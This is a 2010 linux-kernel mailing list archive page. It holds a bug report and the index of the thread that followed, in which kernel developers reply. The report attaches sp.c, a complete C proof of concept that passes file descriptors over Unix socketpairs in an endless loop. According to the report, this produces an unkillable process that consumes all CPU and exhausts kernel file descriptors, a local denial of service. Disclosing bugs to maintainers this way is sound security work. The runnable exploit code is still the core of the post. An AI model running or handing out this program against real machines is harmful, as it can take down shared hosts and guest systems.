All of lore.kernel.org
 help / color / mirror / Atom feed
* Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
@ 2010-11-25  5:57 Марк Коренберг
  2010-11-25  6:28 ` Eric Dumazet
  0 siblings, 1 reply; 17+ messages in thread
From: Марк Коренберг @ 2010-11-25  5:57 UTC (permalink / raw)
  To: linux-kernel

[-- Attachment #1: Type: text/plain, Size: 295 bytes --]

Simple kernel attack using socketpair. easy, 100% reproductiblle,
works under guest. no way to protect :(

See source attached.

Process become in state 'Running' but not killalble via kill -KILL.

eat 100% CPU, eat all available internal  file descriptors  in kernel :(

-- 
Segmentation fault

[-- Attachment #2: sp.c --]
[-- Type: text/x-csrc, Size: 919 bytes --]

#include <sys/socket.h>
#include <sys/un.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];

  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}


int main ()
{
  int fd[2], ff[2];
  int target;

  if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
    return 1;

  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
	return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}

^ permalink raw reply	[flat|nested] 17+ messages in thread

end of thread, other threads:[~2010-11-29 18:02 UTC | newest]

Thread overview: 17+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2010-11-25  5:57 Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :( Марк Коренберг
2010-11-25  6:28 ` Eric Dumazet
2010-11-25  6:52   ` Марк Коренберг
     [not found]     ` <1290668246.2798.93.camel@edumazet-laptop>
     [not found]       ` <AANLkTinQa8BCH-k0m=ndu4u8L-kCiD00jYjKvsvoxK2E@mail.gmail.com>
2010-11-25  7:52         ` Fwd: " Марк Коренберг
2010-11-25  8:16           ` Eric Dumazet
2010-11-25  8:35             ` Марк Коренберг
2010-11-25 14:11               ` Eric Dumazet
2010-11-26  4:38                 ` Shan Wei
2010-11-26  6:23                   ` Eric Dumazet
2010-11-26  7:52                     ` Shan Wei
2010-11-26  7:41                 ` Shan Wei
2010-11-26  8:22                   ` Eric Dumazet
2010-11-26  8:59                     ` Eric Dumazet
2010-11-29 17:46                 ` David Miller
2010-11-29 18:01                   ` Eric Dumazet
     [not found]       ` <AANLkTinRhmiVoVR5ibWOKe-OhY4fYUs_PHSATjxMGqg9@mail.gmail.com>
     [not found]         ` <1290670889.2798.127.camel@edumazet-laptop>
2010-11-25  8:05           ` Марк Коренберг
2010-11-25  7:14   ` Eric Dumazet

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.